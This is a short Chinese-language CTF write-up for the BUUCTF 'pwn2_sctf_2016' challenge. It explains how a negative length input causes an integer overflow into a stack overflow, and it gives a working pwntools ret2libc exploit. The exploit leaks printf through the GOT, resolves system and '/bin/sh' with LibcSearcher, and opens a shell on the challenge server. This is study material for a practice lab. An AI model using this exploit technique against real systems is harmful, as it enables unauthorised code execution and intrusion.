这道鬼题不难却卡了我好久,再前几天很久没好好学习生疏许多
    老规矩checksec
    image.png
    只有栈不可执行
    image.png
    反编译结果
    get_n是自己创造的一个函数
    image.png
    这其实就是在nptr这个缓冲区上进行操作然后的话
    get_n(&nptr, v2);
    image.png
    image.png
    这三个地方一起造成了栈溢出
    所以这是一道整数溢出并且泄露libc的一道题目,泄露的函数就用printf

    1. from pwn import *
    2. from LibcSearcher import*
    3. context(log_level = 'debug')
    4. #io = process("pwn2_sctf_2016")
    5. io = remote("node4.buuoj.cn",27531)
    6. #context.arch = "amd64"
    7. elf = ELF('pwn2_sctf_2016')
    8. offest = 0x2c
    9. main_addr = elf.sym['main']
    10. printf_plt =elf.plt['printf']
    11. printf_got =elf.got['printf']
    12. io.recvuntil('How many bytes do you want me to read? ')
    13. io.sendline('-1')
    14. io.recvuntil('\n')
    15. payload = b'a'*(offest+4) +p32(printf_plt) + p32(main_addr) +p32(printf_got)
    16. #printf_addr =0xf7e4c680
    17. io.sendline(payload)
    18. io.recvuntil('\n')
    19. printf_addr = u32(io.recv(4))
    20. log.success('printf==>'+hex(printf_addr))
    21. libc=LibcSearcher('printf',printf_addr)
    22. libc_base = printf_addr-libc.dump('printf')
    23. system_addr = libc_base+libc.dump('system')
    24. sh_addr = libc_base+libc.dump("str_bin_sh")
    25. io.recvuntil('How many bytes do you want me to read? ')
    26. io.sendline('-1')
    27. io.recvuntil('\n')
    28. payload1= b'a'*(offest+4)+p32(system_addr)+b'aaaa'+p32(sh_addr)
    29. io.sendline(payload1)
    30. io.interactive()

    本地的libc我已经很久没打通了,我要想办法加加本地的libc库,毕竟打比赛直接打服务器还会扣分
    以后学好了想把elf.plt elf.got gdb 中的got好好写写
    这道题和前面的heap题卡了好久了,还是太菜